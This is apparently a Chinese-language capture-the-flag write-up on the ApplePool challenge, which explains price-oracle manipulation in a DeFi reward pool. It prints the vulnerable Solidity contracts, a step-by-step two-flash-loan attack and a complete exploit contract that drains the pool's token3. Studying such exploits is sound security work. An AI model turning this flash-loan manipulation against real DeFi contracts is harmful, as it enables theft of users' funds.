引言

智能合約所運行在的虛擬機是一個封閉的環境,智能合約無法自發地獲取外界信息,必須通過EOA(外部賬戶)調用合約中的函數來傳入信息或改變狀態。

在去中心化金融(DeFi)中,通常需要獲取各種token的價格,在不引入鏈下的價格提供者的情況下,可以使用鏈上的預言機服務。有的鏈上的對換服務會提供這個功能,當合約進行獲取價格請求后,會給出一個價格。

鏈上預言機中提供的價格通常和合約中的代幣數量、時間等參數有關。通過操縱預言機可以來欺騙智能合約來做出錯誤的決定。

ApplePool

pragma solidity 0.5.16;
contract check {
    using safemath for uint256;
    AppleToken public token0 = new AppleToken(10000 * 10 ** 18);
    AppleToken public token1 = new AppleToken(20000 * 10 ** 18);
    AppleToken public token2 = new AppleToken(20000 * 10 ** 18);
    AppleToken public token3 = new AppleToken(10000 * 10 ** 18);
    UniswapV2Factory public factory = new UniswapV2Factory(address(this));
    AppleRewardPool public appleRewardPool;
    address public pair1;
    address public pair2;
    uint256 public starttime = block.timestamp;
    uint256 public endtime = block.timestamp + 90 days;
    constructor() public {
        pair1 = factory.createPair(address(token0),address(token1));
        token0.transfer(pair1,10000 * 10 ** 18);
        token1.transfer(pair1,10000 * 10 ** 18);
        IUniswapV2Pair(pair1).mint(address(this));
        pair2 = factory.createPair(address(token1),address(token2));
        token1.transfer(pair2,10000 * 10 ** 18);
        token2.transfer(pair2,10000 * 10 ** 18);
        IUniswapV2Pair(pair2).mint(address(this));
        appleRewardPool = new AppleRewardPool(IERCLike(address(token2)),IERCLike(address(token3)),address(pair1),address(pair2));
        token2.transfer(address(appleRewardPool),10000 * 10 ** 18);
        token3.transfer(address(appleRewardPool),10000 * 10 ** 18);
        appleRewardPool.addPool(IERCLike(address(token1)),starttime, endtime,0,false);
        appleRewardPool.addPool(IERCLike(address(token2)),starttime, endtime,0,false);
        }
    function isSolved()  public view returns(bool){
        if(token3.balanceOf(address(appleRewardPool)) == 0){
           return  true;
        }
        return false;
    }
}
contract AppleRewardPool is Ownable {
    using safemath for uint256;
    struct UserInfo {
        uint256 amount;
        uint256 depositerewarded;
        uint256 ApplerewardDebt;
        uint256 Applepending;
    }
    struct PoolInfo {
        IERCLike token;
        uint256 starttime;
        uint256 endtime;
        uint256 ApplePertime;
        uint256 lastRewardtime;
        uint256 accApplePerShare;
        uint256 totalStake;
    }
    IERCLike public token2;
    IERCLike public token3;
    PoolInfo[] public poolinfo;
    address public pair1;
    address public pair2;
    mapping (uint256 => mapping (address => UserInfo)) public users;
    event Deposit(address indexed user, uint256 _pid, uint256 amount);
    event Withdraw(address indexed user, uint256 _pid, uint256 amount);
    event ReclaimStakingReward(address user, uint256 amount);
    event Set(uint256 pid, uint256 allocPoint, bool withUpdate);
    constructor(IERCLike _token2, IERCLike _token3, address _pair1, address _pair2) public {
        token2 = _token2;
        token3 = _token3;
        pair1 = _pair1;
        pair2 = _pair2;
    }
    modifier validatePool(uint256 _pid) {
        require(_pid < poolinfo.length, " pool exists?");
        _;
    }
    function getpool() view public returns(PoolInfo[] memory){
        return poolinfo;
    }
    function setApplePertime(uint256 _pid, uint256 _ApplePertime) public onlyOwner validatePool(_pid){
        PoolInfo storage pool = poolinfo[_pid];
        updatePool(_pid);
        _ApplePertime = _ApplePertime.mul(1e18).div(86400);
        pool.ApplePertime = _ApplePertime;
    }
    function addPool(IERCLike _token, uint256 _starttime, uint256 _endtime, uint256 _ApplePertime,  bool _withUpdate) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        _ApplePertime = _ApplePertime.mul(1e18).div(86400);
        uint256 lastRewardtime = block.timestamp > _starttime ? block.timestamp : _starttime;
        poolinfo.push(PoolInfo({
            token: _token,
            starttime: _starttime,
            endtime: _endtime,
            ApplePertime: _ApplePertime,
            lastRewardtime: lastRewardtime,
            accApplePerShare: 0,
            totalStake: 0
        }));
    }
    function getMultiplier(PoolInfo storage pool) internal view returns (uint256) {
        uint256 from = pool.lastRewardtime;
        uint256 to = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
        if (from >= to) {
            return 0;
        }
        return to.sub(from);
    }
    function massUpdatePools() public {
        uint256 length = poolinfo.length;
        for (uint256 pid = 0; pid < length; pid++) {
            updatePool(pid);
        }
    }
    function updatePool(uint256 _pid) public validatePool(_pid) {
        PoolInfo storage pool = poolinfo[_pid];
        if (block.timestamp <= pool.lastRewardtime || pool.lastRewardtime > pool.endtime) {
            return;
        }
        uint256 totalStake = pool.totalStake;
        if (totalStake == 0) {
            pool.lastRewardtime = block.timestamp <= pool.endtime ? block.timestamp : pool.endtime;
            return;
        }
        uint256 multiplier = getMultiplier(pool);
        uint256 AppleReward = multiplier.mul(pool.ApplePertime);
        pool.accApplePerShare = pool.accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
        pool.lastRewardtime = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
    }
    function pendingApple(uint256 _pid, address _user) public view validatePool(_pid) returns (uint256)  {
        PoolInfo storage pool = poolinfo[_pid];
        UserInfo storage user = users[_pid][_user];
        uint256 accApplePerShare = pool.accApplePerShare;
        uint256 totalStake = pool.totalStake;
        if (block.timestamp > pool.lastRewardtime && totalStake > 0) {
            uint256 multiplier = getMultiplier(pool);
            uint256 AppleReward = multiplier.mul(pool.ApplePertime);
            accApplePerShare = accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
        }
        return user.Applepending.add(user.amount.mul(accApplePerShare).div(1e18)).sub(user.ApplerewardDebt);
    }
    function rate() public view returns(uint256) {
        uint256 _price;
        address _token0 = UniswapV2pair(pair1).token0();
        address _token1 = UniswapV2pair(pair1).token1();
        uint256 amount0 = IERCLike(_token0).balanceOf(pair1);
        uint256 amount1 = IERCLike(_token1).balanceOf(pair1);
        _price = amount0.mul(1e18).div(amount1);
        return _price;
    }
    function rate1() public view returns(uint256) {
        uint256 _price;
        (uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
        _price = _amount1.div(_amount0).div(2).mul(1e18);
        return _price;
    }
    function deposit(uint256 _pid, uint256 _amount) public validatePool(_pid){
        PoolInfo storage pool = poolinfo[_pid];
        UserInfo storage user = users[_pid][msg.sender];
        updatePool(_pid);
        if (user.amount > 0) {
            uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
            user.Applepending = user.Applepending.add(Applepending);
        }
        if (_pid == 0){
            uint256 token2_amount = _amount.mul(rate()).div(1e18);
            IERCLike(token2).transfer(msg.sender, token2_amount);
        }
        if (_pid == 1){
            uint256 token3_amount = _amount.mul(rate1()).div(1e18);
            IERCLike(token3).transfer(msg.sender, token3_amount);
        }
        pool.token.transferFrom(_msgSender(), address(this), _amount);
        pool.totalStake = pool.totalStake.add(_amount);
        user.amount = user.amount.add(_amount);
        user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
        emit Deposit(msg.sender, _pid, _amount);
    }
    function withdraw(uint256 _pid, uint256 _amount) public validatePool(_pid){
        PoolInfo storage pool = poolinfo[_pid];
        UserInfo storage user = users[_pid][msg.sender];
        require(user.amount >= _amount, "withdraw: not good");
        updatePool(_pid);
        uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
        user.Applepending = user.Applepending.add(Applepending);
        user.amount = user.amount.sub(_amount);
        user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
        pool.totalStake = pool.totalStake.sub(_amount);
        pool.token.transfer(msg.sender, _amount);
        emit Withdraw(msg.sender, _pid, _amount);
    }
    function reclaimAppleStakingReward(uint256 _pid) public validatePool(_pid) {
        PoolInfo storage pool = poolinfo[_pid];
        UserInfo storage user = users[_pid][msg.sender];
        updatePool(_pid);
        uint256 Applepending = user.Applepending.add(user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt));
        if (Applepending > 0) {
            safeAppleTransfer(msg.sender, Applepending);
        }
        user.Applepending = 0;
        user.depositerewarded = user.depositerewarded.add(Applepending);
        user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
        emit ReclaimStakingReward(msg.sender, Applepending);
    }
    function safeAppleTransfer(address _to, uint256 _amount) internal {
        uint256 AppleBalance = token3.balanceOf(address(this));
        require(AppleBalance >= _amount, "no enough token");
        token3.transfer(_to, _amount);
    }
}

先看check合約:

首先創建了四種ERC-20代幣:token0 token1 token2 token3,接著創建了一個UniswapV2的工廠合約,使用工廠合約創建了token0和token1的交易對,再向這個交易對中加入各10000 ether的流動性。再創建了token1和token2的交易對,再向其中各添加了10000 ether的流動性。再創建了受害者合約appleRewardPool,并向這個合約傳入10000 ether的token2和token3,再向合約中添加兩個池子。獲取flag的條件是將受害者合約的token3掏空。

查看appleRewardPool合約,看里面是否有能取出token3的相關邏輯,找到這個函數:

function reclaimAppleStakingReward(uint256 _pid) public validatePool(_pid) {
        PoolInfo storage pool = poolinfo[_pid];
        UserInfo storage user = users[_pid][msg.sender];
        updatePool(_pid);
        uint256 Applepending = user.Applepending.add(user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt));
        if (Applepending > 0) {
            safeAppleTransfer(msg.sender, Applepending);
        }
        user.Applepending = 0;
        user.depositerewarded = user.depositerewarded.add(Applepending);
        user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
        emit ReclaimStakingReward(msg.sender, Applepending);
    }
    function safeAppleTransfer(address _to, uint256 _amount) internal {
        uint256 AppleBalance = token3.balanceOf(address(this));
        require(AppleBalance >= _amount, "no enough token");
        token3.transfer(_to, _amount);
    }

在這個函數中會獲取Applepending這個值,并使用safeAppleTransfer函數將Applepending值的token3轉給調用者。再次查看合約,看是否有方法能將Applepending增加到10000 ether:

uint256 multiplier = getMultiplier(pool);
        uint256 AppleReward = multiplier.mul(pool.ApplePertime);
        pool.accApplePerShare = pool.accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
        pool.lastRewardtime = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
        
        
function addPool(IERCLike _token, uint256 _starttime, uint256 _endtime, uint256 _ApplePertime,  bool _withUpdate) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        _ApplePertime = _ApplePertime.mul(1e18).div(86400);
        uint256 lastRewardtime = block.timestamp > _starttime ? block.timestamp : _starttime;
        poolinfo.push(PoolInfo({
            token: _token,
            starttime: _starttime,
            endtime: _endtime,
            ApplePertime: _ApplePertime,
            lastRewardtime: lastRewardtime,
            accApplePerShare: 0,
            totalStake: 0
        }));
    }

再經過查找之后發現Applepending與ApplePertime這個值有關,而且要獲取Applepending,必須要乘ApplePertime。但是在check合約調用addPool添加池子的時候將這個值設置為0:

appleRewardPool.addPool(IERCLike(address(token1)),starttime, endtime,0,false);
appleRewardPool.addPool(IERCLike(address(token2)),starttime, endtime,0,false);

所以操縱Applepending,再使用reclaimAppleStakingReward來解體的思路行不通。再查找是否有辦法能取出token3:

function deposit(uint256 _pid, uint256 _amount) public validatePool(_pid){
        PoolInfo storage pool = poolinfo[_pid];
        UserInfo storage user = users[_pid][msg.sender];
        updatePool(_pid);
        if (user.amount > 0) {
            uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
            user.Applepending = user.Applepending.add(Applepending);
        }
        if (_pid == 0){
            uint256 token2_amount = _amount.mul(rate()).div(1e18);
            IERCLike(token2).transfer(msg.sender, token2_amount);
        }
        if (_pid == 1){
            uint256 token3_amount = _amount.mul(rate1()).div(1e18);
            IERCLike(token3).transfer(msg.sender, token3_amount);
        }
        pool.token.transferFrom(_msgSender(), address(this), _amount);
        pool.totalStake = pool.totalStake.add(_amount);
        user.amount = user.amount.add(_amount);
        user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
        emit Deposit(msg.sender, _pid, _amount);
    }

在deposit函數中,如果調用時將_pid設置為1,函數會調用rate1()計算一個價格,使用這個價格乘以 _amount,就可以向調用者轉出相應數量的token3,同時需要調用者向合約轉 _amount數量的token2。

現在的問題是我們沒有token2,甚至連題目給的四種token都沒有。但題目給了兩個UniswapV2交易對,交易對的swap函數提供了閃電貸功能,我們能獲取交易對中的所有資金,前提是我們必須能還上。

這里還注意到deposit函數在發送token2和token3時使用了rate()和rate2()函數來計算價格:

function rate() public view returns(uint256) {
        uint256 _price;
        address _token0 = UniswapV2pair(pair1).token0();
        address _token1 = UniswapV2pair(pair1).token1();
        uint256 amount0 = IERCLike(_token0).balanceOf(pair1);
        uint256 amount1 = IERCLike(_token1).balanceOf(pair1);
        _price = amount0.mul(1e18).div(amount1);
        return _price;
    }
function rate1() public view returns(uint256) {
        uint256 _price;
        (uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
        _price = _amount1.div(_amount0).div(2).mul(1e18);
        return _price;
    }

在rate()函數中,計算相對價格使用的是ERC-20 token的balanceOf接口,所以這個相對價格是pair1中的實時價格。如果我們使用閃電貸將pair1中的token1大量借出,就可以將token1和token2的相對價格抬到非常高。

我們可以從pair1中借出10000 * 10 ** 18 - 1wei的token1,這時rate算出的價格應該也就推到了10000 * 10 ** 18 - 1。這時再調用deposit函數,_pid為0, _amount 為1:

if (_pid == 0){
    uint256 token2_amount = _amount.mul(rate()).div(1e18);
    IERCLike(token2).transfer(msg.sender, token2_amount);
}

這時經過rate()計算,合約會給我們發送10000 * 10 ** 18 - 1wei的token2,代價僅僅是我們向合約發送1wei的token1,而且再調用withdraw可以將發送合約的1wei token1再取出來。現在我們所用的token1就有10000 * 10 ** 18 - 1wei,和當初借出的一樣,并且在題目所給的UniswapV2Pair合約的swap函數中,并沒有設置手續費:

{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(0));
        uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(0));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
        }

這意味著我們只要把借出數量的token1再還回去就能滿足k值并不回退。

到現在我們擁有10000 * 10 ** 18 - 1wei的token2,似乎可以再通過deposit函數取出所有的token3,但這時計算價格使用的函數是rate1:

function rate1() public view returns(uint256) {
        uint256 _price;
        (uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
        _price = _amount1.div(_amount0).div(2).mul(1e18);
        return _price;
}

該函數在獲取到原價格后又除了2,所以這時我們調用deposit時,只能用10000 * 10 ** 18 - 1wei的token2換出5000 ether的token3,同時該函數獲取價格使用的是getReserves(),該接口獲取的是swap之前的相對價格,意味著我們不能通過閃電貸來操縱價格。

但我們可以將獲取到的所有token2發送到pair2中,同時取出5000 ether的token1。這時候池子中的兩種代幣相對價格為4,經過rate1()的計算變成2,這時只要5000 ether的token2就可以換出全部的token3。但經過這么一頓折騰,我們手上只有5000 ether的token1,這時該怎么辦?

可以再進行一次閃電貸,由于rate1()計算出的價格不受閃電貸影響,所以我們借空pair2合約也不影響價格計算。這時我們從pair2借出5000 ether 的token2,調用deposit,_amoun為5000 ether,換出合約中的全部token3,同時我們手上還有5000 ether的token1,這時將他們發送到pair2合約,現在池子中兩種代幣數量為 10000 ether和15000 ether,滿足K值綽綽有余。

EXP

contract Exp is IUniswapV2Callee{
    check public c;
    AppleRewardPool public pool; // IERCLike
    address public token0;
    address public token1;
    address public token2;
    address public token3;
    address public pair1;
    address public pair2;
    
    constructor(address _check, address _pool, address _token0, address _token1, address _token2, address _token3, address _pair1, address _pair2) public {
        c = check(_check);
        pool = AppleRewardPool(_pool);
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        token3 = _token3;
        pair1 = _pair1;
        pair2 = _pair2;
        IERCLike(token0).approve(address(pool), 100000 ether);
        IERCLike(token1).approve(address(pool), 100000 ether);
        IERCLike(token2).approve(address(pool), 100000 ether);
        IERCLike(token3).approve(address(pool), 100000 ether);
        IERCLike(token1).approve(address(pair1), 100000 ether);
    }
    function flashloan() public {
        IUniswapV2Pair(pair1).swap(0, 10000 * 10 ** 18 - 1 , address(this), new bytes(10));
    }
    function flashloan2() public {
        IUniswapV2Pair(pair2).swap(0, 5000 * 10 ** 18 , address(this), new bytes(5));
    }
    
    function swap() public {
        IERCLike(token2).transfer(address(pair2), 9999 ether);
        IUniswapV2Pair(pair1).swap(0, 4999 * 10 ** 18 , address(this), new bytes(0));
    }
    function deposit(uint256 _pool, uint256 _amount) public {
        
        pool.deposit(_pool, _amount);
    }
    function withdraw(uint256 _pool, uint256 _amount) public {
        
        pool.withdraw(_pool, _amount);
    }
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        if (data.length > 8) {
            require(IERCLike(token1).balanceOf(pair1) == 1, "err flash");
            pool.deposit(0, 1);
            require(IERCLike(token2).balanceOf(address(this)) >= 9999 * 10 ** 18, "err flash1");
            pool.withdraw(0, 1);
            
            IERCLike(token2).transfer(address(pair2), 10000 * 10 ** 18);
            IUniswapV2Pair(pair2).swap(5000 * 10 ** 18, 0, address(this), new bytes(0)); // got 4999 ether token1
            require(IERCLike(token1).balanceOf(pair2) < 10000 ether, "err flash2");
            require(IERCLike(token1).balanceOf(address(this)) >= 9999 ether, "err flash3");
            IERCLike(token1).transfer(address(pair1), 10000 * 10 ** 18 - 1);
        } else {
            pool.deposit(1, 5000 * 10 ** 18);
            IERCLike(token1).transfer(address(pair2), IERCLike(token1).balanceOf(address(this)));
        }
        
        
    }
    function transfer2(address to, uint256 amount) public {
        IERCLike(token2).transfer(to, amount);
    }
    function transfer3(address to, uint256 amount) public {
        IERCLike(token3).transfer(to, amount);
    }
}

部署完Exp合約之后分別調用flashloan和flashloan2,達到獲取flag條件

總結

以太坊操縱預言機是一種危險的惡意行為,它可以導致智能合約被操縱并從中獲得不當利益。為了預防以太坊操縱預言機,可以采取多種措施,例如使用多個預言機、使用加密技術、限制預言機的訪問權限以及對預言機進行審計等。然而,預言機攻擊仍然是一個值得關注的問題,因此在開發以太坊智能合約時,開發者應該考慮采取一系列措施來確保智能合約的安全性和可靠性。同時,加強社區的安全意識和合作也是必不可少的。